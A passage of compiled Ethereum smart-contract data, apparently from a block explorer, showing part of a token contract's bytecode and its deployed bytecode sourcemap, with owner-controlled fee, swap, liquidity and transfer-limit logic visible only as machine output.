ffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611dad57611dad612603565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611dde57611dde612603565b6001600160a01b039283166020918202929092018101919091525460405163791ac94760e01b81524792919091169063791ac94790611e2a908690600090879030904290600401612697565b600060405180830381600087803b158015611e4457600080fd5b505af1158015611e58573d6000803e3d6000fd5b505050506000611e718247611b0890919063ffffffff16565b90506000611e8c611e838860026114c9565b60145490611b08565b90506000611ea160026113168481878d611447565b90506000611ebe836113166010548761144790919063ffffffff16565b90506000611edb846113166012548861144790919063ffffffff16565b90506000611ef8856113166011548961144790919063ffffffff16565b601a546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114611f4a576040519150601f19603f3d011682016040523d82523d6000602084013e611f4f565b606091505b5050601b546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114611f9f576040519150601f19603f3d011682016040523d82523d6000602084013e611fa4565b606091505b5050601c546040519192506001600160a01b0316908490600081818185875af1925050503d8060008114611ff4576040519150601f19603f3d011682016040523d82523d6000602084013e611ff9565b606091505b5060009250508b1590506120d95760205460195460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015612077573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061209c9190612708565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506028805460ff1916905550505050505050505050565b601854602154600091906001600160a01b03908116908416036121175750601654612132565b6021546001600160a01b039081169086160361213257506017545b600061215f601554606461214691906125c2565b611316846113096014548a61144790919063ffffffff16565b9050600061217e6014546113166013548561144790919063ffffffff16565b9050600061218c8383611b08565b306000908152600660205260409020549091506121a9908261150b565b3060009081526006602052604080822092909255601d546001600160a01b0316815220546121d7908361150b565b601d546001600160a01b0390811660009081526006602090815260409182902093909355518381523092918b1691600080516020612737833981519152910160405180910390a3811561225857601d546040518381526001600160a01b03918216918a16906000805160206127378339815191529060200160405180910390a35b6122628784611b08565b98975050505050505050565b600060208083528351808285015260005b8181101561229b5785810183015185820160400152820161227f565b818111156122ad576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156122d557600080fd5b5035919050565b80356001600160a01b03811681146122f357600080fd5b919050565b6000806040838503121561230b57600080fd5b612314836122dc565b946020939093013593505050565b801515811461122457600080fd5b60006020828403121561234257600080fd5b8135610d5981612322565b6000806040838503121561236057600080fd5b50508035926020909101359150565b60008060008060008060c0878903121561238857600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806000606084860312156123c757600080fd5b6123d0846122dc565b92506123de602085016122dc565b9150604084013590509250925092565b6000806040838503121561240157600080fd5b61240a836122dc565b9150612418602084016122dc565b90509250929050565b6000806040838503121561243457600080fd5b823561243f81612322565b9150602083013560ff8116811461245557600080fd5b809150509250929050565b6000806040838503121561247357600080fd5b61247c836122dc565b9150602083013561245581612322565b60006020828403121561249e57600080fd5b610d59826122dc565b6000806000606084860312156124bc57600080fd5b505081359360208301359350604090920135919050565b6000806000604084860312156124e857600080fd5b833567ffffffffffffffff8082111561250057600080fd5b818601915086601f83011261251457600080fd5b81358181111561252357600080fd5b8760208260051b850101111561253857600080fd5b6020928301955093505084013561254e81612322565b809150509250925092565b6000806040838503121561256c57600080fd5b823561231481612322565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156125dc576125dc6125ac565b500290565b6000826125fe57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006001820161262b5761262b6125ac565b5060010190565b60006020828403121561264457600080fd5b5051919050565b60006020828403121561265d57600080fd5b8151610d5981612322565b6000821982111561267b5761267b6125ac565b500190565b600082821015612692576126926125ac565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156126e75784516001600160a01b0316835293830193918301916001016126c2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561271d57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212204d55576cf0853e57e3b588ea7844f160aed6dbc689fdea091135ea18bdb9e1c564736f6c634300080d0033
Deployed Bytecode Sourcemap
5023:14717:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7113:56;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;7113:56:0;;;;;;;;8768:80;;;;;;;;;;-1:-1:-1;8840:5:0;;;;;;;;;;;;-1:-1:-1;;;8840:5:0;;;;8768:80;;;;;;;:::i;10086:262::-;;;;;;;;;;-1:-1:-1;10086:262:0;;;;;:::i;:::-;;:::i;:::-;;9190:216;;;;;;;;;;-1:-1:-1;9190:216:0;;;;;:::i;:::-;;:::i;:::-;;;1585:14:1;;1578:22;1560:41;;1548:2;1533:18;9190:216:0;1420:187:1;7031:32:0;;;;;;;;;;;;;;;;17629:87;;;;;;;;;;-1:-1:-1;17629:87:0;;;;;:::i;:::-;;:::i;19522:150::-;;;;;;;;;;-1:-1:-1;19522:150:0;;;;;:::i;:::-;;:::i;18039:567::-;;;;;;;;;;-1:-1:-1;18039:567:0;;;;;:::i;:::-;;:::i;6310:36::-;;;;;;;;;;;;;;;;8498:88;;;;;;;;;;-1:-1:-1;8571:12:0;;8498:88;;19012:173;;;;;;;;;;-1:-1:-1;19012:173:0;;;;;:::i;:::-;;:::i;14823:227::-;;;;;;;;;;-1:-1:-1;14823:227:0;;;;;:::i;:::-;;:::i;6209:94::-;;;;;;;;;;;;;;;;9708:370;;;;;;;;;;-1:-1:-1;9708:370:0;;;;;:::i;:::-;;:::i;18614:227::-;;;;;;;;;;-1:-1:-1;18614:227:0;;;;;:::i;:::-;;:::i;19197:142::-;;;;;;;;;;;;;:::i;15422:164::-;;;;;;;;;;-1:-1:-1;15422:164:0;;;;;:::i;:::-;;:::i;8592:80::-;;;;;;;;;;-1:-1:-1;5377:1:0;8592:80;;;3943:4:1;3931:17;;;3913:36;;3901:2;3886:18;8592:80:0;3771:184:1;10630:209:0;;;;;;;;;;-1:-1:-1;10630:209:0;;;;;:::i;:::-;;:::i;17931:100::-;;;;;;;;;;-1:-1:-1;17931:100:0;;;;;:::i;:::-;;:::i;15300:114::-;;;;;;;;;;;;;:::i;9414:122::-;;;;;;;;;;-1:-1:-1;9414:122:0;;;;;:::i;:::-;;:::i;6883:37::-;;;;;;;;;;-1:-1:-1;6883:37:0;;;;;;;;5722:41;;;;;;;;;;-1:-1:-1;5722:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15058:234;;;;;;;;;;-1:-1:-1;15058:234:0;;;;;:::i;:::-;;:::i;17724:199::-;;;;;;;;;;-1:-1:-1;17724:199:0;;;;;:::i;:::-;;:::i;7076:30::-;;;;;;;;;;-1:-1:-1;7076:30:0;;;;;;;;5809:43;;;;;;;;;;-1:-1:-1;5809:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8938:105;;;;;;;;;;-1:-1:-1;8938:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;9022:18:0;9004:7;9022:18;;;:9;:18;;;;;;;8938:105;3080:148;;;;;;;;;;;;;:::i;6927:38::-;;;;;;;;;;-1:-1:-1;6927:38:0;;;;;;;;;;;14540:275;;;;;;;;;;-1:-1:-1;14540:275:0;;;;;:::i;:::-;;:::i;5505:60::-;;;;;;;;;;;;;;;;5441:57;;;;;;;;;;;;;;;;8854:78;;;;;;;;;;-1:-1:-1;8906:7:0;2931:6;-1:-1:-1;;;;;2931:6:0;8854:78;;;-1:-1:-1;;;;;5711:32:1;;;5693:51;;5681:2;5666:18;8854:78:0;5547:203:1;2866:79:0;;;;;;;;;;-1:-1:-1;2904:7:0;2931:6;-1:-1:-1;;;;;2931:6:0;2866:79;;8678:84;;;;;;;;;;-1:-1:-1;8752:7:0;;;;;;;;;;;;-1:-1:-1;;;8752:7:0;;;;8678:84;;6786:19;;;;;;;;;;-1:-1:-1;6786:19:0;;;;-1:-1:-1;;;;;6786:19:0;;;9544:156;;;;;;;;;;-1:-1:-1;9544:156:0;;;;;:::i;:::-;;:::i;5689:26::-;;;;;;;;;;-1:-1:-1;5689:26:0;;;;;;;;2486:21;;;;;;;;;;-1:-1:-1;2486:21:0;;;;-1:-1:-1;;;;;2486:21:0;;;5772:30;;;;;;;;;;-1:-1:-1;5772:30:0;;;;;;;;15594:138;;;;;;;;;;;;;:::i;10354:264::-;;;;;;;;;;-1:-1:-1;10354:264:0;;;;;:::i;:::-;;:::i;19347:167::-;;;;;;;;;;-1:-1:-1;19347:167:0;;;;;:::i;:::-;;:::i;9049:133::-;;;;;;;;;;-1:-1:-1;9049:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;9151:19:0;;;9133:7;9151:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9049:133;18849:155;;;;;;;;;;-1:-1:-1;18849:155:0;;;;;:::i;:::-;;:::i;6632:30::-;;;;;;;;;;-1:-1:-1;6632:30:0;;;;-1:-1:-1;;;;;6632:30:0;;;3236:244;;;;;;;;;;-1:-1:-1;3236:244:0;;;;;:::i;:::-;;:::i;6755:24::-;;;;;;;;;;-1:-1:-1;6755:24:0;;;;-1:-1:-1;;;;;6755:24:0;;;6168:34;;;;;;;;;;;;;;;;6817:31;;;;;;;;;;-1:-1:-1;6817:31:0;;;;-1:-1:-1;;;6817:31:0;;;;;;10086:262;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;;;;;;;;;10222:1:::1;10195:23;:28;;10187:76;;;::::0;-1:-1:-1;;;10187:76:0;;6858:2:1;10187:76:0::1;::::0;::::1;6840:21:1::0;6897:2;6877:18;;;6870:30;6936:34;6916:18;;;6909:62;-1:-1:-1;;;6987:18:1;;;6980:34;7031:19;;10187:76:0::1;6656:400:1::0;10187:76:0::1;10336:4;10308:23;10293:12;;:38;;;;:::i;:::-;10292:48;;;;:::i;:::-;10274:15;:66:::0;-1:-1:-1;10086:262:0:o;9190:216::-;9294:10;9265:4;9282:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9282:32:0;;;;;;;;;;:41;;;9339:37;9265:4;;9282:32;;9339:37;;;;9317:6;160:25:1;;148:2;133:18;;14:177;9339:37:0;;;;;;;;-1:-1:-1;9394:4:0;9190:216;;;;;:::o;17629:87::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;17691:7:::1;:17:::0;;-1:-1:-1;;17691:17:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17629:87::o;19522:150::-;19602:4;19658:6;19626:29;19646:8;19626:19;:29::i;:::-;:38;;19522:150;-1:-1:-1;;;19522:150:0:o;18039:567::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;18214:12:::1;:28:::0;;;18253:7:::1;:18:::0;;;18282:12:::1;:28:::0;;;18321:11:::1;:26:::0;;;18358:7:::1;:18:::0;;;18398:78:::1;18368:8:::0;18398:64:::1;18335:12:::0;18398:64;18297:13;18398:64;18229:13;18263:8;18398:17:::1;:27::i;:::-;:31:::0;::::1;:46::i;:78::-;18387:8;:89:::0;18487:14:::1;:32:::0;;;18549:16:::1;18564:1;18504:15:::0;18549:16:::1;:::i;:::-;18538:8;;:27;18530:68;;;::::0;-1:-1:-1;;;18530:68:0;;7790:2:1;18530:68:0::1;::::0;::::1;7772:21:1::0;7829:2;7809:18;;;7802:30;7868;7848:18;;;7841:58;7916:18;;18530:68:0::1;7588:352:1::0;18530:68:0::1;18039:567:::0;;;;;;:::o;19012:173::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;19100:15:::1;:25:::0;;;;19136:26:::1;:41:::0;19012:173::o;14823:227::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;14966:20:::1;::::0;14926:21:::1;::::0;-1:-1:-1;;;;;14966:20:0::1;14958:74;15028:3;14997:28;15009:16:::0;14926:21;14997:28:::1;:::i;:::-;:34;;;;:::i;:::-;14958:74;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14895:155;14823:227:::0;:::o;9708:370::-;-1:-1:-1;;;;;9828:19:0;;9808:4;9828:19;;;:11;:19;;;;;;;;9848:10;9828:31;;;;;;;;-1:-1:-1;;9828:52:0;9825:186;;9930:69;;;;;;;;;;;-1:-1:-1;;;9930:69:0;;;;;;;;-1:-1:-1;;;;;9930:19:0;;-1:-1:-1;9930:19:0;;;:11;:19;;;;;9950:10;9930:31;;;;;;;;;;:69;;9966:6;;9930:35;:69::i;:::-;-1:-1:-1;;;;;9896:19:0;;;;;;:11;:19;;;;;;;;9916:10;9896:31;;;;;;;:103;9825:186;10030:40;10044:6;10052:9;10063:6;10030:13;:40::i;:::-;10023:47;;9708:370;;;;;;:::o;18614:227::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;18732:21:::1;:46:::0;;-1:-1:-1;;;;;18732:46:0;;::::1;-1:-1:-1::0;;;;;;18732:46:0;;::::1;;::::0;;;18789:20:::1;:44:::0;;;;;::::1;::::0;::::1;;::::0;;18614:227::o;19197:142::-;9022:9;:18;;;;5144:42;19250:7;9022:18;;;;;19277:12;;19250:7;;19277:54;;9022:18;;19277:33;;:12;:16;:33::i;:::-;:37;;:54::i;:::-;19270:61;;19197:142;:::o;15422:164::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;15506:18:::1;:28:::0;;-1:-1:-1;;15545:33:0;15506:28;::::1;;-1:-1:-1::0;;15545:33:0;;;;;15506:28:::1;;15545:33:::0;;;::::1;::::0;;;::::1;;::::0;;15422:164::o;10630:209::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10716:24:0;;::::1;;::::0;;;:16:::1;:24;::::0;;;;;;;:33;;;::::1;;-1:-1:-1::0;;10716:33:0;;::::1;::::0;::::1;::::0;;;10760:11:::1;:19:::0;;;;;:28;;;::::1;::::0;::::1;::::0;;10799:15:::1;:23:::0;;;;;;:32;;;;::::1;;::::0;;10630:209::o;17931:100::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;18008:14:::1;:5:::0;18016:6:::1;18008:14;:::i;:::-;18001:4;:21:::0;-1:-1:-1;17931:100:0:o;15300:114::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;15351:11:::1;:18:::0;;-1:-1:-1;;;;15351:18:0::1;-1:-1:-1::0;;;15351:18:0::1;::::0;;15394:12:::1;15380:11;:26:::0;15300:114::o;9414:122::-;9469:4;9493:35;9501:7;-1:-1:-1;;9493:7:0;:35::i;15058:234::-;15166:10;15155:22;;;;:10;:22;;;;;;;;15147:31;;;;;;15189:14;:22;;;;15222:13;:20;;;;15253:18;:27;15058:234::o;17724:199::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;17820:9:::1;17815:101;17831:20:::0;;::::1;17815:101;;;17898:6;17873:8;:22;17882:9;;17892:1;17882:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17873:22:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17873:22:0;:31;;-1:-1:-1;;17873:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17853:3:::1;::::0;::::1;:::i;:::-;;;17815:101;;;;17724:199:::0;;;:::o;3080:148::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;3187:1:::1;3171:6:::0;;3150:40:::1;::::0;-1:-1:-1;;;;;3171:6:0;;::::1;::::0;3150:40:::1;::::0;3187:1;;3150:40:::1;3218:1;3201:19:::0;;-1:-1:-1;;;;;;3201:19:0::1;::::0;;3080:148::o;14540:275::-;14629:4;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;14646:6:::1;14656:1;14646:11:::0;14643:97:::1;;14682:46;::::0;-1:-1:-1;;;14682:46:0;;14722:4:::1;14682:46;::::0;::::1;5693:51:1::0;-1:-1:-1;;;;;14682:31:0;::::1;::::0;::::1;::::0;5666:18:1;;14682:46:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14673:55;;14643:97;14757:50;::::0;-1:-1:-1;;;14757:50:0;;14788:10:::1;14757:50;::::0;::::1;8580:51:1::0;8647:18;;;8640:34;;;-1:-1:-1;;;;;14757:30:0;::::1;::::0;::::1;::::0;8553:18:1;;14757:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9544:156::-:0;9624:4;9648:44;9662:10;9674:9;9685:6;9648:13;:44::i;15594:138::-;15650:10;15639:22;;;;:10;:22;;;;;;;;15631:31;;;;;;15673:51;;15681:10;;15702:21;15673:51;;;;;;;;;15702:21;15681:10;15673:51;;;;;;;;;;;;;;;;;;;;;15594:138::o;10354:264::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;10488:1:::1;10460:24;:29;;10452:82;;;::::0;-1:-1:-1;;;10452:82:0;;9137:2:1;10452:82:0::1;::::0;::::1;9119:21:1::0;9176:2;9156:18;;;9149:30;9215:34;9195:18;;;9188:62;-1:-1:-1;;;9266:18:1;;;9259:39;9315:19;;10452:82:0::1;8935:405:1::0;10452:82:0::1;10605:5;10576:24;10561:12;;:39;;;;:::i;:::-;10560:50;;;;:::i;:::-;10545:12;:65:::0;-1:-1:-1;10354:264:0:o;19347:167::-;19415:7;19442:64;19483:22;:20;:22::i;:::-;19465:4;;-1:-1:-1;;;;;19465:4:0;9004:7;9022:18;;;:9;:18;;;;;;19442:36;;19455:22;;19475:1;;19455:15;:19;;:22::i;:::-;19442:8;;:12;:36::i;:::-;:40;;:64::i;18849:155::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;18940:11:::1;:22:::0;;-1:-1:-1;;18940:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;18973:13:::1;:23:::0;18849:155::o;3236:244::-;2993:6;;-1:-1:-1;;;;;2993:6:0;2303:10;2993:22;2985:67;;;;-1:-1:-1;;;2985:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3325:22:0;::::1;3317:73;;;::::0;-1:-1:-1;;;3317:73:0;;9547:2:1;3317:73:0::1;::::0;::::1;9529:21:1::0;9586:2;9566:18;;;9559:30;9625:34;9605:18;;;9598:62;-1:-1:-1;;;9676:18:1;;;9669:36;9722:19;;3317:73:0::1;9345:402:1::0;3317:73:0::1;3427:6;::::0;;3406:38:::1;::::0;-1:-1:-1;;;;;3406:38:0;;::::1;::::0;3427:6;::::1;::::0;3406:38:::1;::::0;::::1;3455:6;:17:::0;;-1:-1:-1;;;;;;3455:17:0::1;-1:-1:-1::0;;;;;3455:17:0;;;::::1;::::0;;;::::1;::::0;;3236:244::o;664:250::-;722:7;746:1;751;746:6;742:47;;-1:-1:-1;776:1:0;769:8;;742:47;801:9;813:5;817:1;813;:5;:::i;:::-;801:17;-1:-1:-1;846:1:0;837:5;841:1;801:17;837:5;:::i;:::-;:10;829:56;;;;-1:-1:-1;;;829:56:0;;9954:2:1;829:56:0;;;9936:21:1;9993:2;9973:18;;;9966:30;10032:34;10012:18;;;10005:62;-1:-1:-1;;;10083:18:1;;;10076:31;10124:19;;829:56:0;9752:397:1;920:132:0;978:7;1005:39;1009:1;1012;1005:39;;;;;;;;;;;;;;;;;:3;:39::i;137:181::-;195:7;;227:5;231:1;227;:5;:::i;:::-;215:17;;256:1;251;:6;;243:46;;;;-1:-1:-1;;;243:46:0;;10489:2:1;243:46:0;;;10471:21:1;10528:2;10508:18;;;10501:30;10567:29;10547:18;;;10540:57;10614:18;;243:46:0;10287:351:1;466:192:0;552:7;588:12;580:6;;;;572:29;;;;-1:-1:-1;;;572:29:0;;;;;;;;:::i;:::-;-1:-1:-1;612:9:0;624:5;628:1;624;:5;:::i;:::-;612:17;466:192;-1:-1:-1;;;;;466:192:0:o;10847:1895::-;10959:6;;10939:4;;10959:6;;10956:63;;;10975:41;10990:6;10998:9;11009:6;10975:14;:41::i;:::-;10968:48;;;;10956:63;-1:-1:-1;;;;;11035:22:0;;;;;;:14;:22;;;;;;;;11034:23;:53;;;;-1:-1:-1;;;;;;11062:25:0;;;;;;:14;:25;;;;;;;;11061:26;11034:53;11031:240;;;11111:11;;-1:-1:-1;;;11111:11:0;;;;11103:43;;;;-1:-1:-1;;;11103:43:0;;10975:2:1;11103:43:0;;;10957:21:1;11014:2;10994:18;;;10987:30;-1:-1:-1;;;11033:18:1;;;11026:50;11093:18;;11103:43:0;10773:344:1;11103:43:0;11162:10;;;;11159:101;;;-1:-1:-1;;;;;11200:21:0;;;;;;:10;:21;;;;;;;;11192:48;;;;-1:-1:-1;;;11192:48:0;;11324:2:1;11192:48:0;;;11306:21:1;11363:2;11343:18;;;11336:30;-1:-1:-1;;;11382:18:1;;;11375:45;11437:18;;11192:48:0;11122:339:1;11192:48:0;11294:7;;;;11291:74;;;-1:-1:-1;;;;;11326:16:0;;;;;;:8;:16;;;;;;;;11325:17;11317:32;;;;-1:-1:-1;;;11317:32:0;;11668:2:1;11317:32:0;;;11650:21:1;11707:1;11687:18;;;11680:29;-1:-1:-1;;;11725:18:1;;;11718:33;11768:18;;11317:32:0;11466:326:1;11317:32:0;11404:4;;11389:11;:19;;:40;;;;-1:-1:-1;11425:4:0;;-1:-1:-1;;;;;11412:17:0;;;11425:4;;11412:17;;11389:40;11385:99;;;-1:-1:-1;;;;;11446:19:0;;;;;;:8;:19;;;;;:26;;-1:-1:-1;;11446:26:0;11468:4;11446:26;;;11385:99;-1:-1:-1;;;;;11523:22:0;;;;;;:14;:22;;;;;;;;11522:23;:53;;;;-1:-1:-1;;;;;;11549:26:0;;11570:4;11549:26;;11522:53;:84;;;;-1:-1:-1;;;;;;11580:26:0;;5144:42;11580:26;;11522:84;:105;;;;-1:-1:-1;11623:4:0;;-1:-1:-1;;;;;11610:17:0;;;11623:4;;11610:17;;11522:105;:137;;;;-1:-1:-1;11644:15:0;;-1:-1:-1;;;;;11631:28:0;;;11644:15;;11631:28;;11522:137;:173;;;;-1:-1:-1;11676:19:0;;-1:-1:-1;;;;;11663:32:0;;;11676:19;;11663:32;;11522:173;:210;;;;-1:-1:-1;11712:20:0;;-1:-1:-1;;;;;11699:33:0;;;11712:20;;11699:33;;11522:210;:241;;;;-1:-1:-1;;;;;;11737:26:0;;;;;;:15;:26;;;;;;;;11736:27;11522:241;11518:433;;;-1:-1:-1;;;;;9022:18:0;;11779;9022;;;:9;:18;;;;;;11868:15;;11844:19;11857:6;9022:18;11844:19;:::i;:::-;11843:40;;11835:114;;;;-1:-1:-1;;;11835:114:0;;11999:2:1;11835:114:0;;;11981:21:1;12038:2;12018:18;;;12011:30;12077:34;12057:18;;;12050:62;12148:32;12128:18;;;12121:60;12198:19;;11835:114:0;11797:426:1;11835:114:0;11764:187;11518:433;11977:4;;-1:-1:-1;;;;;11967:14:0;;;11977:4;;11967:14;:49;;;;-1:-1:-1;11998:18:0;;;;11967:49;:94;;;;-1:-1:-1;;;;;;12034:27:0;;;;;;:16;:27;;;;;;;;12033:28;11967:94;11963:296;;;-1:-1:-1;;;;;12086:24:0;;;;;;:13;:24;;;;;;12113:15;-1:-1:-1;12078:82:0;;;;-1:-1:-1;;;12078:82:0;;12430:2:1;12078:82:0;;;12412:21:1;12469:2;12449:18;;;12442:30;12508;12488:18;;;12481:58;12556:18;;12078:82:0;12228:352:1;12078:82:0;12220:21;;12202:39;;12220:21;;;;;12202:15;:39;:::i;:::-;-1:-1:-1;;;;;12175:24:0;;;;;;:13;:24;;;;;:66;11963:296;12271:28;12284:6;12292;12271:12;:28::i;:::-;12315:16;:14;:16::i;:::-;12312:35;;;12334:10;:8;:10::i;:::-;12386:53;;;;;;;;;;;-1:-1:-1;;;12386:53:0;;;;;;;;-1:-1:-1;;;;;12386:17:0;;-1:-1:-1;12386:17:0;;;:9;:17;;;;;;;;:53;;12408:6;;12386:21;:53::i;:::-;-1:-1:-1;;;;;12366:17:0;;;;;;:9;:17;;;;;;;;:73;;;;12479:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;12502:22:0;;;;;;:11;:22;;;;;;;;12479:45;12478:93;;12537:34;12545:6;12553;12561:9;12537:7;:34::i;:::-;12478:93;;;12528:6;12478:93;-1:-1:-1;;;;;12605:20:0;;;;;;:9;:20;;;;;;12453:118;;-1:-1:-1;12605:40:0;;12453:118;12605:24;:40::i;:::-;-1:-1:-1;;;;;12582:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12663:43;;;;;;-1:-1:-1;;;;;;;;;;;12663:43:0;;;12691:14;160:25:1;;148:2;133:18;;14:177;12663:43:0;;;;;;;;-1:-1:-1;12724:4:0;;10847:1895;-1:-1:-1;;;;10847:1895:0:o;324:136::-;382:7;409:43;413:1;416;409:43;;;;;;;;;;;;;;;;;:3;:43::i;1058:189::-;1144:7;1179:12;1172:5;1164:28;;;;-1:-1:-1;;;1164:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1203:9:0;1215:5;1219:1;1215;:5;:::i;12750:330::-;12880:53;;;;;;;;;;;-1:-1:-1;;;12880:53:0;;;;;;;;-1:-1:-1;;;;;12880:17:0;;12843:4;12880:17;;;:9;:17;;;;;;;:53;;12902:6;;12880:21;:53::i;:::-;-1:-1:-1;;;;;12860:17:0;;;;;;;:9;:17;;;;;;:73;;;;12967:20;;;;;;;:32;;12992:6;12967:24;:32::i;:::-;-1:-1:-1;;;;;12944:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13015:35;;;;;;-1:-1:-1;;;;;;;;;;;13015:35:0;;;13043:6;160:25:1;;148:2;133:18;;14:177;13015:35:0;;;;;;;;-1:-1:-1;13068:4:0;12750:330;;;;;:::o;13088:166::-;13185:12;;13175:6;:22;;:49;;;-1:-1:-1;;;;;;13201:23:0;;;;;;:15;:23;;;;;;;;13175:49;13167:79;;;;-1:-1:-1;;;13167:79:0;;12787:2:1;13167:79:0;;;12769:21:1;12826:2;12806:18;;;12799:30;-1:-1:-1;;;12845:18:1;;;12838:47;12902:18;;13167:79:0;12585:341:1;13167:79:0;13088:166;;:::o;14329:203::-;14416:4;;14378;;-1:-1:-1;;;;;14416:4:0;14402:10;:18;;;;:38;;-1:-1:-1;14434:6:0;;;;14433:7;14402:38;:62;;;;-1:-1:-1;14453:11:0;;;;14402:62;:116;;;;-1:-1:-1;;14505:13:0;;14495:4;14477:24;;;;:9;:24;;;;;;:41;;;14329:203::o;15740:1881::-;7216:6;:13;;-1:-1:-1;;7216:13:0;7225:4;7216:13;;;15835:15:::1;::::0;15852:26:::1;::::0;7216:6;;15819:60:::1;::::0;:15:::1;:60::i;:::-;:79;;15886:12;;15819:79;;;15882:1;15819:79;15789:109;;15909:23;15935:59;15992:1;15935:52;15978:8;;15935:38;15953:19;15935:13;;:17;;:38;;;;:::i;:59::-;15909:85;;16005:20;16028:34;16046:15;16028:13;;:17;;:34;;;;:::i;:::-;16099:16;::::0;;16113:1:::1;16099:16:::0;;;;;::::1;::::0;;16005:57;;-1:-1:-1;16075:21:0::1;::::0;16099:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16099:16:0::1;16075:40;;16144:4;16126;16131:1;16126:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16126:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;16170:4:::1;::::0;16160:7;;16170:4;::::1;::::0;16160;;16170;;16160:7;::::1;;;;;:::i;:::-;-1:-1:-1: